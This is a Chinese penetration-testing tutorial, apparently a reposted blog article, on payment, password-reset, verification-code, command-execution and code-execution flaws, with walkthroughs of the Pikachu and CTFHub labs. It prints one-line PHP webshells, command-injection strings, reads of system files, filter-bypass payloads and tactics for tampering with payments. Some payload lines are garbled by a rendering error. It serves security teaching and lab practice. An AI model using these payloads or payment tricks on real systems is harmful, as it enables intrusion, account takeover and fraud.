渗透测试之逻辑漏洞

news2024/11/19 17:34:34

文章目录

  • 一、支付漏洞
    • 1.修改附属值
    • 2.多重替换支付
    • 3.重复支付
    • 4.最小额支付
    • 5.最大值支付
    • 6.越权支付
    • 7.无限制试用
    • 8.多线程并发
    • 9.支付漏洞思路
  • 二、密码找回漏洞
    • 1.本地验证绕过
    • 2.利用session重新绑定客户
    • 3.去掉验证参数绕过
    • 4.总结
  • 三、短信验证码绕过
    • 1.短信验证码生命期限内可暴力枚举
    • 2.短信验证码在数据包中返回
    • 3.修改请求数据包参数或 Cookie 值绕过
    • 4.修改返回包绕过
    • 5.攻破短信验证码接口
    • 7.几种爆破绕过
      • a.超长字符串
      • b.特殊符号
      • c.整数溢出。
  • 四、验证安全
    • 1.图形验证码绕过
      • a.图形验证码不刷新或无效
      • b.图形验证码值可直接获取
      • c.图形验证码参数绕过
        • i:验证码空值绕过
        • ii:直接删除验证码参数,改成 user=admin&pass=1234
    • 2.存在无验证码页面
    • 3.万能验证码
    • 4.验证码数量有限
    • 5.简单验证码识别
    • 6.验证码复用
  • 五、命令执行
    • 1.RCE定义
    • 2.常见的命令执行函数
      • 1) exec
      • 2)system
      • 3)passthru
      • 4)shell_exec
      • 5)反引号 `
      • 6)popen
    • 3.管道符号
    • 4.常用的命令
    • 5.命令执行危害-getshell
      • 1)直接获取webshell
      • 2)显示当前路径
      • 3)读文件
      • 4)写文件
    • 6.pikachu靶场任务
      • 1)查看当前用户
      • 2)查看当前路径
      • 3)查看C盘下的文件
      • 4)写入一句话木马、用菜刀或者蚁剑连接成功
    • 7.CTF靶场任务
      • 1)eval执行
      • 2)命令执行
      • 3)文件包含
      • 4)php://input
      • 5)远程包含
      • 6)burp system+cat读取源代码
      • 7)过滤cat
      • 8)单引号绕过
      • 9)双引号绕过
      • 10)特殊符号绕过
      • 11)绕过空格
      • 12)过滤目录分隔符
      • 13)过滤|逻辑符号
      • 14)综合练习
  • 六、代码执行
    • 1.定义
    • 2.相关函数
      • 1)eval
      • 2)assert
      • 3)callback函数
    • 3.pikachu靶场任务
    • 4.代码执行-漏洞防御

一、支付漏洞

那么这个修改价格具体是修改哪一步时的价格呢?在我看来,你可以在这三个步骤当中的随便一个步骤进行修改价格测试,如果前面两步有验证机制,那么你可在最后一步付款时进行抓包尝试修改金额,如果没有在最后一步做好检验
存在可修改订单状态的接口,比如确认收货接口,确认收货以后订单状态会变成“已完成”。
有如下接口/setorderstatus?orderid=1093&orderstatus=3

1.修改附属值

修改优惠劵金额
修改积分
修改运费金额
修改服务费金额

2.多重替换支付

首先去产生两个订单,这两个订单商品是不一样的,其价格不一样,如果服务端没有做好这相关的验证,那么在支付的过程当中抓包,修改其订单值为另一个订单值,最后支付,这时就可以用订单一的支付价格买到订单二的商品。

3.重复支付

比如订单支付会返现,或者返积分。重复调用支付成功回调的接口,可实现多次返现,或多次返积分。

4.最小额支付

这个问题如果你在充值时进行修改其支付金额为负数或者0.01等是会显示支付失败的,但是如果你修改其金额为1.00,那么支付就会成功。

5.最大值支付

利用整数溢出,将购买量改成99999999999999999999999999999999,这样支付金额可能会变成0。或者修改附属值,如优惠卷,积分等为999999999, 如果这里逻辑设计有问题,那么其支付金额会变为0。

6.越权支付

可以修改这个用户ID为其它用户ID,达到用其他用户的账号进行支付你的商品

7.无限制试用

在支付的时候它URL后面的支付接口是3,而试用接口是4,那么此时你已经 使用过了,复制下确认试用时的URL,修改后面的支付接口为3,那么此时就会调用 购买支付接口,但是由于你本身这个产品就是试用的,其相应值绑定了这个试用商 品,那么金额就肯定是0,那么最后点击支付,你就可以看到支付成功,试用成功, 又重复试用了一次,然后他们的试用时间会累加在一起,这就导致了可无限制购买任何产品了

8.多线程并发

并发请求:用户A在一个网站上提款,同步发送了多个提款请求,后台显示多条提款请求,审核了然后顺利的提到了几倍的bounty
处理速度的问题,数据库的处理速度跟不上用户的请求速度,就有可能存在这样的漏洞。

9.支付漏洞思路

在这里插入图片描述在这里插入图片描述

二、密码找回漏洞

1.本地验证绕过

客户端在本地进行验证码是否正确的判断,而该判断结果也可以在本地修改,
最终导致欺骗客户端,误以为我们已经输入了正确的验证码。
例如将返回包中的0修改为1即可绕过验证。

2.利用session重新绑定客户

重置密码最后一步是通过session获取用户名,然后再重置。
而用户名是在重置密码第一步时与session进行绑定,那么如果重置密码的最后一步程序并没有验证该用户是够走完了验证流程,
那么就可以通过重新绑定session为其他账号从而达到任意密码重置目的。
http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0114804.html

3.去掉验证参数绕过

邮件系统取回密码功能设计逻辑错误,存在认证绕过漏洞,
通过抓取数据包可通过修改报文,将找回问题答案参数删除后,直接进行对密码更改。
参考案例:http://wooyun.jozxing.cc/static/bugs/wooyun-2014-088927.html

4.总结

1、测试业务的时候,了解清楚业务的整体流程,可以利用思维导图快速清理各个业务之间的关系
2、重点关注的业务:个人(他人)信息、密码修改(找回)、支付流程、注册流程、需要手机、邮箱验证的业务。
3、对每个业务模块进行抓包,分析其中各种请求,注意特殊参数,很有可能就是这些特殊参数决定了业务步骤。 4、抓包重放的过程需要多次实验,判断是否可以跳过(绕过),如何跳过(绕过),纯数字可以用数字+字母`尝试绕过
5、返回包中数据的分析~关注特殊字符串和特殊参数,还有JS文件('JS中可能会存在信息泄漏)。
6、综上所述,业务流程需同时结合’HTTP/HTTPS"请求分析,重点可以关注那些具有代表性的参数,绕过必要验证,跳过业务步骤。
在这里插入图片描述

三、短信验证码绕过

1.短信验证码生命期限内可暴力枚举

只限于数字验证码

2.短信验证码在数据包中返回

可以直接在response中获取到短信验证码

3.修改请求数据包参数或 Cookie 值绕过

比如有 post 数据包:mobile=18888888888&userid=00001, Cookie中有:codetype=1
在特定步骤,修改 mobile=自己的手机号,自己手机就可以收到别人的验证码,后面再用
别人的手机号和接收到的验证码登录;
修改 Cookie 中可疑的参数和值,进行绕过,比如上面修改 codetype=0;

4.修改返回包绕过

举个简单的例子:提交错误的短信验证码,返回包中有: status=false,用 Burpsuite 的 “Do
intercept” 功能修改为 status=true,即可绕过前端判断,成功进入系统。具体还要结合实际的场景,灵活操作。

5.攻破短信验证码接口

a:有些网站会遗留短信验证码测试页面,比如/smstest.html等,如果能找到并且还可以正常使用。
b:一般系统的短信验证码功能,都会有个接口平台可以获取到手机接收到的所有短信,找到并攻 破也能进入系统。
6.默认万能验证码
之前遇到过短信验证码输入9999,就可以登录任意用户账号的漏洞。为了方便测试以及维护,有的系统会留有万能验证码,上线后还保留着。可能是固定的写在配置文件、js文件或代码中,也可能是随时间变化的。
找回密码
前端加密,可破解,或者根本就不是加密。
比如如下案例,找回密码,得到一个token:
/resetpwd?token=eyJ1c2VybmFtZSI6InpoYW5nZiJ9
Token实际上就是将username编码了一下,修改username即可修改其他用户的密码

7.几种爆破绕过

a.超长字符串

输入超长字符串可能会导致系统拒绝服务或绕过某些限制。

b.特殊符号

曾经遇到过一个案例,密码框输入><就可以登录任意用户账号。

c.整数溢出。

利用整数溢出,精度丢失等,可能导致支付漏洞。

四、验证安全

1.图形验证码绕过

a.图形验证码不刷新或无效

手工尝试一次登录后,在某一时间段内无论登录失败多少次,只要不刷新页面 Session 不过期,就可以无限次的使用同一个验证码来对一个或多个用户帐号进行暴力猜解。

b.图形验证码值可直接获取

验证码通常会被隐藏在网站的源码中或者在请求的 Cookie 中,或在 response 数据包中返回

c.图形验证码参数绕过

登录请求包数据: user=admin&pass=1234&vcode=brln
可尝试如下两种绕过方法:

i:验证码空值绕过

改成user=admin&pass=1234&vcode=

ii:直接删除验证码参数,改成 user=admin&pass=1234

登录请求包数据: user=admin&pass=1234&needcode=1&vcode=brln 可尝试将needcode参数的值改成0

2.存在无验证码页面

3.万能验证码

渗透测试的过程中,有时候会出现这种情况,系统存在一个万能验证码,如0000、9999,
只要输入万能验证码,就可以无视验证码进行暴力破解。

4.验证码数量有限

多见于计算类型的验证码,如 1+2=?,这种类型的验证码严格意义上来说不能叫做验证码,多刷新几次验证码,我们可能会发现系统中的算数题目只有那么几道,这种情况下只要将验证码全部下载下来,生成一个 md5 库,然后将前端生成的验证码与本地文件进行对比即可。

5.简单验证码识别

在平常的漏洞挖掘过程中,如果我们发现登录的验证码非常简单且易于识别,那我们就可以尝试
使用自动化工具来进行登录破解了,如 PKAV 的 HTTP Fuzzer、bp插件等。
https://blog.csdn.net/weixin_40412037/
article/details/105561166

6.验证码复用

当你打开常见的一些需要登录之类的系统,通常系统会自动请求一次验证码,抓包,抓住别放,保持Session不变。

五、命令执行

1.RCE定义

RCE:远程命令执行或者代码执行,因为RCE这个词的滥用,RCE的范围比较广,只要渗透的最终情况可以实现执行命令或者是代码都属于RCE,例如代码执行、文件包含、反序列化、命令执行,甚至是写文件Getshell都可以属于RCE

2.常见的命令执行函数

PHP:exec、shell_exec、system、passthru、popen、proc_open等
ASP.NET:System.Diagnostics.Start.Process、System.Diagnostics.Start.ProcessStartInfo等
Java:java.lang.runtime.Runtime.getRuntime、java.lang.runtime.Runtime.exec等

1) exec

返回值:命令执行结果的最后一行内容,失败时返回 false
https://www.php.net/manual/zh/function.exec.php

<?php
highlight_file(__FILE__); 
// 输出运行中的 php/httpd 进程的创建者用户名
// (在可以执行 "whoami" 命令的系统上)
$output=null;
$retval=null;
exec('whoami', $output, $retval);
exec('chcp 65001&ipconfig', $output, $retval);
echo "Returned with status $retval and output:\n";
print_r($output);
?>

在这里插入图片描述

2)system

该函数会把执行结果输出,并把输出结果的作为字符串返回。
如果 PHP 运行在服务器模块中,system() 函数还会尝试在每行输出完毕之后,自动刷新 web 服务器的输出缓存如果执行失败则返回false

<?php
highlight_file(__FILE__); 
system('chcp 65001&ipconfig');
?>

在这里插入图片描述
在这里插入图片描述

//highlight_file() 函数以字符串形式返回 突出显示的代码,成功返回true,否则返回false。

3)passthru

执行外部程序并且显示原始输出
执行的 Unix 命令输出二进制数据, 并且需要直接传送到浏览器的时候, 需要用此函数

<?php
highlight_file(__FILE__);
passthru('whoami');
?>

在这里插入图片描述

4)shell_exec

通过 shell 执行命令并将完整的输出以字符串的方式返回

<?php
highlight_file(__FILE__);
var_dump(shell_exec('ipconfig'));  
?>

在这里插入图片描述

5)反引号 `

shell_exec() 函数实际上仅是反撇号 (`) 操作符的变体

<?php
highlight_file(__FILE__);
$a = 'whoami';
echo `$a`;
?>

在这里插入图片描述

6)popen

popen()、proc_open()函数不会直接返回执行结果,而是返回一个文件指针(通过文件指针就可对它所指的文件进行各种操作),命令是已经执行了

<?php popen('whoami >>D:/2.txt','r'); ?>

在这里插入图片描述

3.管道符号

在这里插入图片描述

|前面可真可假
在这里插入图片描述在这里插入图片描述

||——1||2,先运行第一个命令,只有在符号||前面的命令1未能运行成功时,才运行符号||后面的命令2。
在这里插入图片描述

&或&&前面必须为真才会执行后面的
在这里插入图片描述

4.常用的命令

Windows
dir----查看文件目录
ipconfig----查看Windows的IP地址
arp -a----查看ARP缓存表
calc----在命令行打开计算器
regedit----打开注册表
netstat -ano----查看开放的端口信息
Linux
cat /etc/passwd----查看passwd文件
id----查看该用户的ID号
groups----查看用户所属的组
cat /etc/group----查看组信息
whoami----查看当前用户
pwd----查看当前路径
uname -a----查看主机信息
cat /etc/issue----查看主机的配置信息
netstat -pantu----查看开放的端口信息
netstat -nr----查看路由信息

5.命令执行危害-getshell

1)直接获取webshell

例如可以写入一句话木马:
?cmd=echo “<?php @eval($_REQUEST[123]); ?>” > D:\phpstudy\PHPTutorial\WWW\webshell.php

2)显示当前路径

例如可以提交参数 ?cmd=cd 来查看当前路径。

3)读文件

例如:?cmd=type c:\windows\system32\drivers\etc\hosts,来查看系统hosts文件。

4)写文件

例如可以提交参数 ?cmd=echo “<?php phpinfo(); ?>” > D:\shell.php

6.pikachu靶场任务

1)查看当前用户

127.0.0.1&whoami
在这里插入图片描述

2)查看当前路径

127.0.0.1&cd
在这里插入图片描述

3)查看C盘下的文件

127.0.0.1&type c:\1.txt
在这里插入图片描述

127.0.0.1& type c:\windows\system32\drivers\etc\hosts
在这里插入图片描述

4)写入一句话木马、用菜刀或者蚁剑连接成功

127.0.0.1&echo ^<?php eval(KaTeX parse error: Expected 'EOF', got '&' at position 36: …?^> > 127.0.0.1&̲echo ^<?php eva…_REQUEST[‘admin’]); ?^> > C:\phpstudy_pro\WWW\pikachu\webshell.php

在这里插入图片描述在这里插入图片描述在这里插入图片描述

7.CTF靶场任务

https://www.ctfhub.com/#/skilltree
在这里插入图片描述

1)eval执行

在这里插入图片描述

eval执行,可以先判断下是Windows操作系统还是linux
ipconfig和ifconfig

2)命令执行

/?cmd=system(‘ifconfig’);
在这里插入图片描述

ls查看目录中的文件
/?cmd=system(‘ls’);
在这里插入图片描述

列出根目录()下的所有目录:
/?cmd=system(‘ls /’);
在这里插入图片描述

发现可疑文件 flag_8213 直接使用cat命令查看
/?cmd=system(‘cat /flag_8213’);得到flag
在这里插入图片描述

3)文件包含

在这里插入图片描述

4)php://input

在这里插入图片描述

5)远程包含

在这里插入图片描述

6)burp system+cat读取源代码

在这里插入图片描述

7)过滤cat

在这里插入图片描述

8)单引号绕过

127.0.0.1;c’'at flag_21869419023310.php|base64
在这里插入图片描述

9)双引号绕过

127.0.0.1;c""at flag_21869419023310.php|base64
在这里插入图片描述

10)特殊符号绕过

127.0.0.1;ca$@t flag_21869419023310.php|base64
在这里插入图片描述在这里插入图片描述

1;2|3
此处;表示执行完1再执行2的意思,1可以随意,|表示执行完2再执行3,3只对2的结果执行,2必须执行成功才能执行3

11)绕过空格

1;cat<flag_28844345117053.php|base64
在这里插入图片描述

1;cat$IFS 9 f l a g 2 8844345117053. p h p ∣ b a s e 641 ; c a t 9flag_28844345117053.php|base64 1;cat 9flag28844345117053.phpbase641;cat{IFS}flag_28844345117053.php|base64

12)过滤目录分隔符

1;ls flag_is_here
在这里插入图片描述

1;cd flag_is_here;cat flag_8154254575089.php|base64
在这里插入图片描述

13)过滤|逻辑符号

在这里插入图片描述

14)综合练习

%0a替代;
在这里插入图片描述

在Windows和Linux中都支持用 “” 号模糊查询
1%0acd I F S f ∗ a g i s h e r e {IFS}f*ag_is_here%0als%0aca''t IFSfagishere{IFS}f
ag_7220223731263.php
在这里插入图片描述

六、代码执行

1.定义

应用程序在调用一些能够将字符串转换为代码的函数(如PHP中的eval)时,没有考虑用户是否控制这个字符串,将造成代码执行漏洞。远程代码执行实际上就是调用服务器网站代码进行执行

2.相关函数

PHP:eval、assert
Javascript:eval
Vbscript: Execute、Eval
Python:exec

1)eval

将字符串当做函数进行执行,需要传入一个完整的语句必须以分号 ; 结尾,最常用的函数

<?php eval('echo "hello";'); ?>

2)assert

判断是否为字符串是则当成代码执行,在php7.0.29之后的版本不支持动态调用

低版本

<?php assert($_POST['a']); ?>

7.0.29之后

<?php $a = 'assert'; $a(phpinfo()); ?>

3)callback函数

preg_replace + /e模式
在这里插入图片描述

3.pikachu靶场任务

在这里插入图片描述

fputs(fopen(‘shell.php’,‘w’),‘<?php eval($_POST[fname]);?>’);
在这里插入图片描述在这里插入图片描述

fputs(fopen(‘shell1.php’,‘w’),‘<?php $code=$_GET[x];echo system($code);?>’);
在这里插入图片描述

fputs(fopen(‘shell2.php’,‘w’),‘<?php $code=$_GET[x];eval($code);?>’);
在这里插入图片描述

4.代码执行-漏洞防御

代码执行的防御分为三个方面 参数 , 函数 和 权限
禁用或减少使用执行代码的函数
对于必须使用eval的地方,一定严格处理用户数据
使用addslashess()函数将参数转译,或使用黑白名单校验
限制Web用户的权限
升级插件、框架新版本

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/898245.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

unity 之 Vector 数据类型

文章目录 Vector 1Vector 2Vector 3Vector 4 Vector 1 在Unity中&#xff0c;Vector1 并不是一个常见的向量类型。 如果您需要表示标量&#xff08;单个值&#xff09;或者只需要一维的数据&#xff0c;通常会直接使用浮点数&#xff08;float&#xff09;或整数&#xff08;in…

安卓手机跑 vins slam (2)

既然选择把vins的代码移植到新工程&#xff0c;那么就需要先确定自己电脑的Android Studio的C开发环节是OK的&#xff0c;可以通过创建C的示例工程&#xff0c;能正常跑通做验证。 选择Native C 需要选择用C哪个版本&#xff0c; 这里通过百度搜索&#xff0c;slam 编译需要C 1…

边缘智能初创公司AiM Future成功完成A轮投资

AiM Future是一家总部在韩国专注于边缘AI加速技术的公司&#xff0c;最近完成了A轮融资。在融资环境不是那么友好的情况下&#xff0c;还能完成融资还是很厉害的&#xff0c;可以来了解一下这个公司最新融资情况。以下为官方新闻稿。 新闻亮点&#xff1a; AiM Future 获得数百…

Richtek(立锜)车载PD快充产品常见问题解答—兼具 USB PD 和 UFCS 快充电源完整解决方案

1 我的Switch游戏机能不能用最新的PD协议&#xff1f; 可以的&#xff0c;PD最新协议都兼容旧协议 2 PD协议向下兼容吗&#xff1f; 是的&#xff0c;PD3.1也是向下兼容的 3 UFCS协议目前用什么仪器测试&#xff1f; 谢谢。 目前RICHTEK有协议测试工具&#xff0c;中国UFCS协…

操作系统的体系结构、内核、虚拟机

&#x1f40c;个人主页&#xff1a; &#x1f40c; 叶落闲庭 &#x1f4a8;我的专栏&#xff1a;&#x1f4a8; c语言 数据结构 javaweb 石可破也&#xff0c;而不可夺坚&#xff1b;丹可磨也&#xff0c;而不可夺赤。 操作系统结构 一、操作系统体系结构1.1操作系统的内核1.1.…

一些常用的CSDN 设置命令、插入目录、改变字体颜色等

文章目录 字体颜色显示调节插入图片大小图片居中 字体颜色显示 字体两边加 调节插入图片大小 注意下边多一个600x600&#xff0c;等号前边有个空格 在这里插入图片描述](https://img-blog.csdnimg.cn/5a0d3d2d37cf481db0e1346432be3da1.png [在这里插入图片描述](https://img-…

Win10远程桌面出现“身份验证错误,CredSSP加密数据库修正

1、进入注册表&#xff08;家庭版解决方法&#xff09; winR 进入运行&#xff0c;输入 regedit 打开注册表 2、编辑注册表 打开如下:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System 新建项&#xff1a;CredSSP 再在CredSSP底下新建项&am…

计算机视觉的应用11-基于pytorch框架的卷积神经网络与注意力机制对街道房屋号码的识别应用

大家好&#xff0c;我是微学AI&#xff0c;今天给大家介绍一下计算机视觉的应用11-基于pytorch框架的卷积神经网络与注意力机制对街道房屋号码的识别应用&#xff0c;本文我们借助PyTorch&#xff0c;快速构建和训练卷积神经网络&#xff08;CNN&#xff09;等模型&#xff0c;…

嵌入式设计中对于只有两种状态的变量存储设计,如何高效的对循迹小车进行偏差量化

前言 &#xff08;1&#xff09;在嵌入式程序设计中&#xff0c;我们常常会要对各类传感器进行数据存储。大多时候的传感器&#xff0c;例如红外光传感器&#xff0c;返回的数据要么是0&#xff0c;要么是1。因此&#xff0c;只需要一bit就能够存储。而很多人却常常使用char型数…

Python中的“ @”

一、介绍 这是Python装饰器的语法&#xff0c;使用符号&#xff0c;表示将装饰器函数放在被装饰函数的上方。当调用被装饰函数时&#xff0c;实际上是调用了装饰器函数&#xff0c;装饰器函数可以在调用被装饰函数之前或之后执行一些额外的操作。 #funA 作为装饰器函数 def f…

慎用!澳洲留学生用ChatGPT写论文被控学术不端!AI论文漏洞百出,各高校已加强捡测!

自从进入ChatGPT时代以来&#xff0c;留学生们纷纷表示写作业&#xff0c;so easy。留学生们在用AI写论文时候没有预计到的是&#xff0c;ChatGPT存在杜撰文献的问题&#xff0c;并且学校已经在使用AI检测工具。 目前全澳大多数大学都可以选择使用现在很流行的反剽窃软件服务T…

【观察】戴尔科技:构建企业创新“韧性”,开辟数实融合新格局

过去几年&#xff0c;国家高度重视发展数字经济&#xff0c;将其上升为国家战略。其中&#xff0c;“十四五”规划中&#xff0c;就明确提出要推动数字经济和实体经济的深度融合&#xff0c;以数字经济赋能传统产业转型升级&#xff1b;而2023年年初正式发布的《数字中国建设整…

LangChain 手记 Conclusion结语

整理并翻译自DeepLearning.AILangChain的官方课程&#xff1a;Conclusion Conclusion 结语 本系列短课展示了大量使用LangChain构建的大语言模型应用&#xff0c;包括处理用户反馈、文档上的问答系统甚至使用LLM来决定发起外部工具的调用&#xff08;比如搜索&#xff09;来回答…

如何进行远程debug?

文章目录 前言一、使用步骤1.首先通过nohup在启动jar包的我们可以添加参数&#xff1a;2.具体参数的含义如下&#xff1a;3. 查询监听的端口&#xff1a; 前言 在工作中&#xff0c;排查问题我们经常需要进行debug&#xff0c;而远程debug能够方便的帮助我们排查线上的问题。 …

【C语言基础】宏定义的用法详解

&#x1f4e2;&#xff1a;如果你也对机器人、人工智能感兴趣&#xff0c;看来我们志同道合✨ &#x1f4e2;&#xff1a;不妨浏览一下我的博客主页【https://blog.csdn.net/weixin_51244852】 &#x1f4e2;&#xff1a;文章若有幸对你有帮助&#xff0c;可点赞 &#x1f44d;…

【无标题】WIN11下 ESP8266 _RTOS_SDK3.0以上开发环境搭建(记录及避坑必看)

前提参考文档 1、乐鑫官网&#xff1a; https://docs.espressif.com/projects/esp8266-rtos-sdk/en/latest/get-started/index.html 官网上有如何搭建windows linux macos 三种环境&#xff0c;以及如何配置Eclipse去编译和开发项目&#xff08;如何安装Eclipse环境&#xff0…

高品质音乐下载命令行工具Musicn

又到了小苏同学的生日&#x1f382;&#xff0c;宝贝&#xff0c;生日快乐&#xff01;祝永远健康、快乐、心想事成&#xff01; 什么是 Musicn &#xff1f; Musicn 是一个可播放及下载高品质&#x1f3b5;音乐&#x1f3b5;的命令行工具。支持咪咕、酷我、酷狗和网易云的服务…

《合成孔径雷达成像算法与实现》Figure3.10

代码复现如下&#xff1a; clc clear close all% 参数设置 TBP 100; % 时间带宽积 T 7.2e-6; % 脉冲持续时间 t_0 1e-6; % 脉冲回波时延% 参数计算 B TBP/T; …

springboot整合websocker启动失败

在工作的时候&#xff0c;准备使用websocker建立长连接来统计网站在线人数&#xff0c;但是在配置好所有东西后&#xff0c;发现springboot启动失败 详细错误 java.lang.IllegalStateException: Failed to register ServerEndpoint class: class com.example.pipayshopapi.co…

【算法题解】54. 树的冗余连接

这是一道 中等难度 的题 https://leetcode.cn/problems/redundant-connection/ 题目 树可以看成是一个连通且 无环 的 无向 图。 给定往一棵 n n n 个节点 (节点值 1 &#xff5e; n 1&#xff5e;n 1&#xff5e;n) 的树中添加一条边后的图。添加的边的两个顶点包含在 1 …